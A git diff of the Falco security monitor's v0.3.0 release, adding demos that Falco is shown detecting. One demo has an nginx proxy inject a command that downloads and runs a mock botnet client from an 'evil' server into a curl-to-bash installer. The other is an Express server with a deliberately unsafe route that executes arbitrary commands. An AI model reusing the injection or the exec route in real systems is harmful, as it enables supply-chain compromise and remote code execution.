diff --git a/.travis.yml b/.travis.yml
index fe37c22f..f0678351 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -36,11 +36,11 @@ script:
- make VERBOSE=1
- make package
- cd ..
- - sudo test/run_regression_tests.sh
+ - sudo test/run_regression_tests.sh $TRAVIS_BRANCH
notifications:
webhooks:
urls:
# - https://webhooks.gitter.im/e/fdbc2356fb0ea2f15033
on_success: change
on_failure: always
- on_start: never
\ No newline at end of file
+ on_start: never
diff --git a/CHANGELOG.md b/CHANGELOG.md
index af721f54..30e5a29b 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -2,6 +2,68 @@
This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
+## v0.3.0
+
+Released 2016-08-05
+
+### Major Changes
+
+Significantly improved performance, involving changes in the falco and sysdig repositories:
+
+* Reordering a rule condition's operators to put likely-to-fail operators at the beginning and expensive operators at the end. [[#95](https://github.com/draios/falco/pull/95/)] [[#104](https://github.com/draios/falco/pull/104/)]
+* Adding the ability to perform x in (a, b, c, ...) as a single set membership test instead of individual comparisons between x=a, x=b, etc. [[#624](https://github.com/draios/sysdig/pull/624)] [[#98](https://github.com/draios/falco/pull/98/)]
+* Avoid unnecessary string manipulations. [[#625](https://github.com/draios/sysdig/pull/625)]
+* Using `startswith` as a string comparison operator when possible. [[#623](https://github.com/draios/sysdig/pull/623)]
+* Use `is_open_read`/`is_open_write` when possible instead of searching through open flags. [[#610](https://github.com/draios/sysdig/pull/610)]
+* Group rules by event type, which allows for an initial filter using event type before going through each rule's condition. [[#627](https://github.com/draios/sysdig/pull/627)] [[#101](https://github.com/draios/falco/pull/101/)]
+
+All of these changes result in dramatically reduced CPU usage. Here are some comparisons between 0.2.0 and 0.3.0 for the following workloads:
+
+* [Phoronix](http://www.phoronix-test-suite.com/)'s `pts/apache` and `pts/dbench` tests.
+* Sysdig Cloud Kubernetes Demo: Starts a kubernetes environment using docker with apache and wordpress instances + synthetic workloads.
+* [Juttle-engine examples](https://github.com/juttle/juttle-engine/blob/master/examples/README.md) : Several elasticsearch, node.js, logstash, mysql, postgres, influxdb instances run under docker-compose.
+
+| Workload | 0.2.0 CPU Usage | 0.3.0 CPU Usage |
+|----------| --------------- | ----------------|
+| pts/apache | 24% | 7% |
+| pts/dbench | 70% | 5% |
+| Kubernetes-Demo (Running) | 6% | 2% |
+| Kubernetes-Demo (During Teardown) | 15% | 3% |
+| Juttle-examples | 3% | 1% |
+
+As a part of these changes, falco now prefers rule conditions that have at least one `evt.type=` operator, at the beginning of the condition, before any negative operators (i.e. `not` or `!=`). If a condition does not have any `evt.type=` operator, falco will log a warning like:
+
+```
+Rule no_evttype: warning (no-evttype):
+proc.name=foo
+ did not contain any evt.type restriction, meaning it will run for all event types.
+ This has a significant performance penalty. Consider adding an evt.type restriction if possible.
+```
+
+If a rule has a `evt.type` operator in the later portion of the condition, falco will log a warning like:
+
+```
+Rule evttype_not_equals: warning (trailing-evttype):
+evt.type!=execve
+ does not have all evt.type restrictions at the beginning of the condition,
+ or uses a negative match (i.e. "not"/"!=") for some evt.type restriction.
+ This has a performance penalty, as the rule can not be limited to specific event types.
+ Consider moving all evt.type restrictions to the beginning of the rule and/or
+ replacing negative matches with positive matches if possible.
+```
+
+
+### Minor Changes
+
+* Several sets of rule cleanups to reduce false positives. [[#95](https://github.com/draios/falco/pull/95/)]
+* Add example of how falco can detect abuse of a badly designed REST API. [[#97](https://github.com/draios/falco/pull/97/)]
+* Add a new output type "program" that writes a formatted event to a configurable program. Each notification results in one invocation of the program. A common use of this output type would be to send an email for every falco notification. [[#105](https://github.com/draios/falco/pull/105/)] [[#99](https://github.com/draios/falco/issues/99)]
+* Add the ability to run falco on all events, including events that are flagged with `EF_DROP_FALCO`. (These events are high-volume, low-value events that are ignored by default to improve performance). [[#107](https://github.com/draios/falco/pull/107/)] [[#102](https://github.com/draios/falco/issues/102)]
+
+### Bug Fixes
+
+* Add third-party jq library now that sysdig requires it. [[#96](https://github.com/draios/falco/pull/96/)]
+
## v0.2.0
Released 2016-06-09
diff --git a/CMakeLists.txt b/CMakeLists.txt
index a8ade60c..b0809137 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -58,6 +58,18 @@ ExternalProject_Add(zlib
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
+set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
+message(STATUS "Using bundled jq in '${JQ_SRC}'")
+set(JQ_INCLUDE "${JQ_SRC}")
+set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
+ExternalProject_Add(jq
+ URL "http://download.draios.com/dependencies/jq-1.5.tar.gz"
+ URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
+ CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
+ BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
+ BUILD_IN_SOURCE 1
+ INSTALL_COMMAND "")
+
set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
@@ -103,6 +115,7 @@ ExternalProject_Add(yamlcpp
set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
+set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
diff --git a/README.md b/README.md
index a1e871b9..4661a0e8 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@
####Latest release
-**v0.2.0**
+**v0.3.0**
Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
Dev Branch: [](https://travis-ci.org/draios/falco)
@@ -21,12 +21,6 @@ Falco can detect and alert on any behavior that involves making Linux system cal
- A non-device file is written to `/dev`
- A standard system binary (like `ls`) makes an outbound network connection
-This is the initial falco release. Note that much of falco's code comes from
-[sysdig](https://github.com/draios/sysdig), so overall stability is very good
-for an early release. On the other hand performance is still a work in
-progress. On busy hosts and/or with large rule sets, you may see the current
-version of falco using high CPU. Expect big improvements in coming releases.
-
Documentation
---
[Visit the wiki] (https://github.com/draios/falco/wiki) for full documentation on falco.
diff --git a/examples/mitm-sh-installer/README.md b/examples/mitm-sh-installer/README.md
new file mode 100644
index 00000000..4d6124da
--- /dev/null
+++ b/examples/mitm-sh-installer/README.md
@@ -0,0 +1,78 @@
+#Demo of falco with man-in-the-middle attacks on installation scripts
+
+For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
+
+## Demo architecture
+
+### Initial setup
+
+Make sure no prior `botnet_client.py` processes are lying around.
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
+* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
+* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
+* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
+* falco: will detect the activities of botnet_client.py.
+
+### Download `install-software.sh`, see botnet client running
+
+Run the following to fetch and execute the installation script,
+which also installs the botnet client:
+
+```
+$ curl http://localhost/install-software.sh | bash
+```
+
+You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
+
+Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
+
+```
+$ ps auxww | grep python
+...
+root 19983 0.1 0.4 33992 8832 pts/1 S 13:34 0:00 python ./botnet_client.py
+
+$ telnet localhost 1234
+Trying ::1...
+Trying 127.0.0.1...
+Connected to localhost.
+Escape character is '^]'.
+```
+
+You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
+
+```
+attacker_botnet_master | Trying to contact compromised machine...
+attacker_botnet_master | Waiting for botnet command and control commands...
+attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
+attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
+```
+
+At this point, kill the botnet_client.py process to clean things up.
+
+### Run installation script again using `fbash`, note falco warnings.
+
+If you run the installation script again:
+
+```
+curl http://localhost/install-software.sh | ./fbash
+```
+
+In the docker-compose output, you'll see the following falco warnings:
+
+```
+falco | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
+falco | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
+falco | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
+falco | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
+falco | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
+```
diff --git a/examples/mitm-sh-installer/botnet_master.sh b/examples/mitm-sh-installer/botnet_master.sh
new file mode 100755
index 00000000..e62a6718
--- /dev/null
+++ b/examples/mitm-sh-installer/botnet_master.sh
@@ -0,0 +1,7 @@
+#!/bin/sh
+
+while true; do
+ echo "Trying to contact compromised machine..."
+ echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
+ sleep 5
+done
diff --git a/examples/mitm-sh-installer/demo.yml b/examples/mitm-sh-installer/demo.yml
new file mode 100644
index 00000000..095af948
--- /dev/null
+++ b/examples/mitm-sh-installer/demo.yml
@@ -0,0 +1,51 @@
+# Owned by software vendor, serving install-software.sh.
+apache:
+ container_name: apache
+ image: httpd:2.4
+ volumes:
+ - ${PWD}/web_root:/usr/local/apache2/htdocs
+
+# Owned by software vendor, compromised by attacker.
+nginx:
+ container_name: mitm_nginx
+ image: nginx:latest
+ links:
+ - apache
+ ports:
+ - "80:80"
+ volumes:
+ - ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
+
+# Owned by attacker.
+evil_apache:
+ container_name: evil_apache
+ image: httpd:2.4
+ volumes:
+ - ${PWD}/evil_web_root:/usr/local/apache2/htdocs
+ ports:
+ - "9090:80"
+
+# Owned by attacker, constantly trying to contact client.
+attacker_botnet_master:
+ container_name: attacker_botnet_master
+ image: alpine:latest
+ net: host
+ volumes:
+ - ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
+ command:
+ - /tmp/botnet_master.sh
+
+# Owned by client, detects attack by attacker
+falco:
+ container_name: falco
+ image: sysdig/falco:latest
+ privileged: true
+ volumes:
+ - /var/run/docker.sock:/host/var/run/docker.sock
+ - /dev:/host/dev
+ - /proc:/host/proc:ro
+ - /boot:/host/boot:ro
+ - /lib/modules:/host/lib/modules:ro
+ - /usr:/host/usr:ro
+ - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
+ tty: true
diff --git a/examples/mitm-sh-installer/evil_web_root/botnet_client.py b/examples/mitm-sh-installer/evil_web_root/botnet_client.py
new file mode 100644
index 00000000..6c60c4e8
--- /dev/null
+++ b/examples/mitm-sh-installer/evil_web_root/botnet_client.py
@@ -0,0 +1,18 @@
+import socket;
+import signal;
+import os;
+
+os.close(0);
+os.close(1);
+os.close(2);
+
+signal.signal(signal.SIGINT,signal.SIG_IGN);
+serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+serversocket.bind(('0.0.0.0', 1234))
+serversocket.listen(5);
+while 1:
+ (clientsocket, address) = serversocket.accept();
+ clientsocket.send('Waiting for botnet command and control commands...\n');
+ command = clientsocket.recv(1024)
+ clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
+ clientsocket.close()
diff --git a/examples/mitm-sh-installer/fbash b/examples/mitm-sh-installer/fbash
new file mode 100755
index 00000000..1613c8ab
--- /dev/null
+++ b/examples/mitm-sh-installer/fbash
@@ -0,0 +1,15 @@
+#!/bin/bash
+
+SID=`ps --no-heading -o sess --pid $$`
+
+if [ $SID -ne $$ ]; then
+ # Not currently a session leader? Run a copy of ourself in a new
+ # session, with copies of stdin/stdout/stderr.
+ setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
+ FBASH=$!
+ trap "kill $FBASH; exit" SIGINT SIGTERM
+ wait $FBASH
+else
+ # Just evaluate the commands (from stdin)
+ source /dev/stdin
+fi
diff --git a/examples/mitm-sh-installer/nginx.conf b/examples/mitm-sh-installer/nginx.conf
new file mode 100644
index 00000000..34e93600
--- /dev/null
+++ b/examples/mitm-sh-installer/nginx.conf
@@ -0,0 +1,12 @@
+http {
+ server {
+ location / {
+ sub_filter_types '*';
+ sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
+ sub_filter_once off;
+ proxy_pass http://apache:80;
+ }
+ }
+}
+events {
+}
diff --git a/examples/mitm-sh-installer/web_root/install-software.sh b/examples/mitm-sh-installer/web_root/install-software.sh
new file mode 100644
index 00000000..821bf09e
--- /dev/null
+++ b/examples/mitm-sh-installer/web_root/install-software.sh
@@ -0,0 +1,156 @@
+#!/bin/bash
+#
+# Copyright (C) 2013-2014 My Company inc.
+#
+# This file is part of my-software
+#
+# my-software is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2 as
+# published by the Free Software Foundation.
+#
+# my-software is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with my-software. If not, see .
+#
+set -e
+
+function install_rpm {
+ if ! hash curl > /dev/null 2>&1; then
+ echo "* Installing curl"
+ yum -q -y install curl
+ fi
+
+ echo "*** Installing my-software public key"
+ # A rpm --import command would normally be here
+
+ echo "*** Installing my-software repository"
+ # A curl path-to.repo would normally be here
+
+ echo "*** Installing my-software"
+ # A yum -q -y install my-software command would normally be here
+
+ echo "*** my-software Installed!"
+}
+
+function install_deb {
+ export DEBIAN_FRONTEND=noninteractive
+
+ if ! hash curl > /dev/null 2>&1; then
+ echo "* Installing curl"
+ apt-get -qq -y install curl < /dev/null
+ fi
+
+ echo "*** Installing my-software public key"
+ # A curl | apt-key add - command would normally be here
+
+ echo "*** Installing my-software repository"
+ # A curl path-to.list would normally be here
+
+ echo "*** Installing my-software"
+ # An apt-get -qq -y install my-software command would normally be here
+
+ echo "*** my-software Installed!"
+}
+
+function unsupported {
+ echo 'Unsupported operating system. Please consider writing to the mailing list at'
+ echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
+ echo 'installation.'
+ exit 1
+}
+
+if [ $(id -u) != 0 ]; then
+ echo "Installer must be run as root (or with sudo)."
+# exit 1
+fi
+
+echo "* Detecting operating system"
+
+ARCH=$(uname -m)
+if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
+ unsupported
+fi
+
+if [ -f /etc/debian_version ]; then
+ if [ -f /etc/lsb-release ]; then
+ . /etc/lsb-release
+ DISTRO=$DISTRIB_ID
+ VERSION=${DISTRIB_RELEASE%%.*}
+ else
+ DISTRO="Debian"
+ VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
+ fi
+
+ case "$DISTRO" in
+
+ "Ubuntu")
+ if [ $VERSION -ge 10 ]; then
+ install_deb
+ else
+ unsupported
+ fi
+ ;;
+
+ "LinuxMint")
+ if [ $VERSION -ge 9 ]; then
+ install_deb
+ else
+ unsupported
+ fi
+ ;;
+
+ "Debian")
+ if [ $VERSION -ge 6 ]; then
+ install_deb
+ elif [[ $VERSION == *sid* ]]; then
+ install_deb
+ else
+ unsupported
+ fi
+ ;;
+
+ *)
+ unsupported
+ ;;
+
+ esac
+
+elif [ -f /etc/system-release-cpe ]; then
+ DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
+ VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
+
+ case "$DISTRO" in
+
+ "oracle" | "centos" | "redhat")
+ if [ $VERSION -ge 6 ]; then
+ install_rpm
+ else
+ unsupported
+ fi
+ ;;
+
+ "amazon")
+ install_rpm
+ ;;
+
+ "fedoraproject")
+ if [ $VERSION -ge 13 ]; then
+ install_rpm
+ else
+ unsupported
+ fi
+ ;;
+
+ *)
+ unsupported
+ ;;
+
+ esac
+
+else
+ unsupported
+fi
diff --git a/examples/nodejs-bad-rest-api/README.md b/examples/nodejs-bad-rest-api/README.md
new file mode 100644
index 00000000..fb254a97
--- /dev/null
+++ b/examples/nodejs-bad-rest-api/README.md
@@ -0,0 +1,66 @@
+#Demo of falco with bash exec via poorly designed REST API.
+
+## Introduction
+
+This example shows how a server could have a poorly designed API that
+allowed a client to execute arbitrary programs on the server, and how
+that behavior can be detected using Sysdig Falco.
+
+`server.js` in this directory defines the server. The poorly designed
+API is this route handler:
+
+```javascript
+router.get('/exec/:cmd', function(req, res) {
+ var output = child_process.execSync(req.params.cmd);
+ res.send(output);
+});
+
+app.use('/api', router);
+```
+
+It blindly takes the url portion after `/api/exec/` and tries to
+execute it. A horrible design choice(!), but allows us to easily show
+Sysdig falco's capabilities.
+
+## Demo architecture
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+
+* express_server: simple express server exposing a REST API under the endpoint `/api/exec/`.
+* falco: will detect when you execute a shell via the express server.
+
+### Access urls under `/api/exec/` to run arbitrary commands.
+
+Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
+
+```
+$ curl http://localhost:8080/api/exec/ls
+
+demo.yml
+node_modules
+package.json
+README.md
+server.js
+```
+
+```
+$ curl http://localhost:8080/api/exec/pwd
+
+.../examples/nodejs-bad-rest-api
+```
+
+### Try to run bash via `/api/exec/bash`, falco sends alert.
+
+If you try to run bash via `/api/exec/bash`, falco will generate an alert:
+
+```
+falco | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )
+```
diff --git a/examples/nodejs-bad-rest-api/demo.yml b/examples/nodejs-bad-rest-api/demo.yml
new file mode 100644
index 00000000..a826ab6e
--- /dev/null
+++ b/examples/nodejs-bad-rest-api/demo.yml
@@ -0,0 +1,24 @@
+# Owned by software vendor, serving install-software.sh.
+express_server:
+ container_name: express_server
+ image: node:latest
+ working_dir: /usr/src/app
+ command: bash -c "npm install && node server.js"
+ ports:
+ - "8080:8080"
+ volumes:
+ - ${PWD}:/usr/src/app
+
+falco:
+ container_name: falco
+ image: sysdig/falco:latest
+ privileged: true
+ volumes:
+ - /var/run/docker.sock:/host/var/run/docker.sock
+ - /dev:/host/dev
+ - /proc:/host/proc:ro
+ - /boot:/host/boot:ro
+ - /lib/modules:/host/lib/modules:ro
+ - /usr:/host/usr:ro
+ - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
+ tty: true
diff --git a/examples/nodejs-bad-rest-api/package.json b/examples/nodejs-bad-rest-api/package.json
new file mode 100644
index 00000000..7eb28410
--- /dev/null
+++ b/examples/nodejs-bad-rest-api/package.json
@@ -0,0 +1,7 @@
+{
+ "name": "bad-rest-api",
+ "main": "server.js",
+ "dependencies": {
+ "express": "~4.0.0"
+ }
+}
diff --git a/examples/nodejs-bad-rest-api/server.js b/examples/nodejs-bad-rest-api/server.js
new file mode 100644
index 00000000..bb437302
--- /dev/null
+++ b/examples/nodejs-bad-rest-api/server.js
@@ -0,0 +1,25 @@
+var express = require('express'); // call express
+var app = express(); // define our app using express
+var child_process = require('child_process');
+
+var port = process.env.PORT || 8080; // set our port
+
+// ROUTES FOR OUR API
+// =============================================================================
+var router = express.Router(); // get an instance of the express Router
+
+// test route to make sure everything is working (accessed at GET http://localhost:8080/api)
+router.get('/', function(req, res) {
+ res.json({ message: 'API available'});
+});
+
+router.get('/exec/:cmd', function(req, res) {
+ var output = child_process.execSync(req.params.cmd);
+ res.send(output);
+});
+
+app.use('/api', router);
+
+app.listen(port);
+console.log('Server running on port: ' + port);
+
diff --git a/falco.yaml b/falco.yaml
index 3962f2c2..fae68e0b 100644
--- a/falco.yaml
+++ b/falco.yaml
@@ -23,3 +23,6 @@ file_output:
stdout_output:
enabled: true
+program_output:
+ enabled: false
+ program: mail -s "Falco Notification" someone@example.com
diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml
index 9b5c6097..791e9b77 100644
--- a/rules/falco_rules.yaml
+++ b/rules/falco_rules.yaml
@@ -14,134 +14,126 @@
# condition: (syscall.type=read and evt.dir=> and fd.type in (file, directory))
- macro: open_write
- condition: >
- (evt.type=open or evt.type=openat) and
- fd.typechar='f' and
- (evt.arg.flags contains O_WRONLY or
- evt.arg.flags contains O_RDWR or
- evt.arg.flags contains O_CREAT or
- evt.arg.flags contains O_TRUNC)
+ condition: (evt.type=open or evt.type=openat) and evt.is_open_write=true and fd.typechar='f'
+
- macro: open_read
- condition: >
- (evt.type=open or evt.type=openat) and
- fd.typechar='f' and
- (evt.arg.flags contains O_RDONLY or
- evt.arg.flags contains O_RDWR)
+ condition: (evt.type=open or evt.type=openat) and evt.is_open_read=true and fd.typechar='f'
- macro: rename
- condition: syscall.type = rename
+ condition: evt.type = rename
- macro: mkdir
- condition: syscall.type = mkdir
+ condition: evt.type = mkdir
- macro: remove
- condition: syscall.type in (remove, rmdir, unlink, unlink_at)
+ condition: evt.type in (rmdir, unlink, unlinkat)
- macro: modify
condition: rename or remove
-
+
- macro: spawned_process
condition: evt.type = execve and evt.dir=<
# File categories
- macro: terminal_file_fd
- condition: fd.name=/dev/ptmx or fd.directory=/dev/pts
+ condition: fd.name=/dev/ptmx or fd.name startswith /dev/pts
-# This really should be testing that the directory begins with these
-# prefixes but sysdig's filter doesn't have a "starts with" operator
-# (yet).
- macro: bin_dir
condition: fd.directory in (/bin, /sbin, /usr/bin, /usr/sbin)
- macro: bin_dir_mkdir
- condition: evt.arg[0] contains /bin/ or evt.arg[0] contains /sbin/ or evt.arg[0] contains /usr/bin/ or evt.arg[0] contains /usr/sbin/
+ condition: evt.arg[0] startswith /bin/ or evt.arg[0] startswith /sbin/ or evt.arg[0] startswith /usr/bin/ or evt.arg[0] startswith /usr/sbin/
- macro: bin_dir_rename
- condition: evt.arg[1] contains /bin/ or evt.arg[1] contains /sbin/ or evt.arg[1] contains /usr/bin/ or evt.arg[1] contains /usr/sbin/
+ condition: evt.arg[1] startswith /bin/ or evt.arg[1] startswith /sbin/ or evt.arg[1] startswith /usr/bin/ or evt.arg[1] startswith /usr/sbin/
-# This really should be testing that the directory begins with /etc,
-# but sysdig's filter doesn't have a "starts with" operator (yet).
- macro: etc_dir
- condition: fd.directory contains /etc
+ condition: fd.name startswith /etc
- macro: ubuntu_so_dirs
- condition: fd.directory contains /lib/x86_64-linux-gnu or fd.directory contains /usr/lib/x86_64-linux-gnu or fd.directory contains /usr/lib/sudo
+ condition: fd.name startswith /lib/x86_64-linux-gnu or fd.name startswith /usr/lib/x86_64-linux-gnu or fd.name startswith /usr/lib/sudo
- macro: centos_so_dirs
- condition: fd.directory contains /lib64 or fd.directory contains /user/lib64 or fd.directory contains /usr/libexec
+ condition: fd.name startswith /lib64 or fd.name startswith /usr/lib64 or fd.name startswith /usr/libexec
- macro: linux_so_dirs
condition: ubuntu_so_dirs or centos_so_dirs or fd.name=/etc/ld.so.cache
-- macro: coreutils_binaries
- condition: >
- proc.name in (truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
+- list: coreutils_binaries
+ items: [
+ truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,
- basename, split, nice, yes, whoami, sha224sum, hostid, users, stdbuf,
+ basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf,
base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,
comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,
tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,
- tail, [, seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
- tac, link, chroot, vdir, chown, touch, ls, dd, uname, true, pwd, date,
- chgrp, chmod, mktemp, cat, mknod, sync, ln, false, rm, mv, cp, echo,
- readlink, sleep, stty, mkdir, df, dir, rmdir, touch)
+ tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
+ tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date,
+ chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo,
+ readlink, sleep, stty, mkdir, df, dir, rmdir, touch
+ ]
# dpkg -L login | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
-- macro: login_binaries
- condition: proc.name in (login, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg)
+- list: login_binaries
+ items: [login, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg]
# dpkg -L passwd | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
-- macro: passwd_binaries
- condition: >
- proc.name in (shadowconfig, grpck, pwunconv, grpconv, pwck,
+- list: passwd_binaries
+ items: [
+ shadowconfig, grpck, pwunconv, grpconv, pwck,
groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,
groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,
- gpasswd, chfn, expiry, passwd, vigr, cpgr)
+ gpasswd, chfn, expiry, passwd, vigr, cpgr
+ ]
# repoquery -l shadow-utils | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
-- macro: shadowutils_binaries
- condition: >
- proc.name in (chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
+- list: shadowutils_binaries
+ items: [
+ chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv,
- newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd)
+ newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd
+ ]
-- macro: sysdigcloud_binaries
- condition: proc.name in (setup-backend, dragent)
+- list: sysdigcloud_binaries
+ items: [setup-backend, dragent]
-- macro: sysdigcloud_binaries_parent
- condition: proc.pname in (setup-backend, dragent)
+- list: docker_binaries
+ items: [docker, exe]
-- macro: docker_binaries
- condition: proc.name in (docker, exe)
+- list: http_server_binaries
+ items: [nginx, httpd, httpd-foregroun, lighttpd]
-- macro: http_server_binaries
- condition: proc.name in (nginx, httpd, httpd-foregroun, lighttpd)
+- list: db_server_binaries
+ items: [mysqld]
-- macro: db_server_binaries
- condition: proc.name in (mysqld)
-
-- macro: db_server_binaries_parent
- condition: proc.pname in (mysqld)
-
-- macro: server_binaries
- condition: (http_server_binaries or db_server_binaries or docker_binaries or proc.name in (sshd))
+- macro: server_procs
+ condition: proc.name in (http_server_binaries, db_server_binaries, docker_binaries, sshd)
# The truncated dpkg-preconfigu is intentional, process names are
# truncated at the sysdig level.
-- macro: package_mgmt_binaries
- condition: proc.name in (dpkg, dpkg-preconfigu, rpm, rpmkey, yum)
+- list: package_mgmt_binaries
+ items: [dpkg, dpkg-preconfigu, rpm, rpmkey, yum, frontend]
+
+- macro: package_mgmt_procs
+ condition: proc.name in (package_mgmt_binaries)
+
+- list: ssl_mgmt_binaries
+ items: [ca-certificates]
+
+- list: dhcp_binaries
+ items: [dhclient, dhclient-script]
# A canonical set of processes that run other programs with different
# privileges or as a different user.
-- macro: userexec_binaries
- condition: proc.name in (sudo, su)
+- list: userexec_binaries
+ items: [sudo, su]
-- macro: user_mgmt_binaries
- condition: (login_binaries or passwd_binaries or shadowutils_binaries)
+- list: user_mgmt_binaries
+ items: [login_binaries, passwd_binaries, shadowutils_binaries]
-- macro: system_binaries
- condition: (coreutils_binaries or user_mgmt_binaries)
+- macro: system_procs
+ condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
-- macro: mail_binaries
- condition: proc.name in (sendmail, sendmail-msp, postfix, procmail)
+- list: mail_binaries
+ items: [sendmail, sendmail-msp, postfix, procmail, exim4]
- macro: sensitive_files
- condition: (fd.name contains /etc/shadow or fd.name = /etc/sudoers or fd.directory in (/etc/sudoers.d, /etc/pam.d) or fd.name = /etc/pam.conf)
+ condition: fd.name startswith /etc and (fd.name in (/etc/shadow, /etc/sudoers, /etc/pam.conf) or fd.directory in (/etc/sudoers.d, /etc/pam.d))
# Indicates that the process is new. Currently detected using time
# since process was started, using a threshold of 5 seconds.
@@ -150,11 +142,11 @@
# Network
- macro: inbound
- condition: ((syscall.type=listen and evt.dir=>) or (syscall.type=accept and evt.dir=<))
+ condition: ((evt.type=listen and evt.dir=>) or (evt.type=accept and evt.dir=<))
-# Currently sendto is an ignored syscall, otherwise this could also check for (syscall.type=sendto and evt.dir=>)
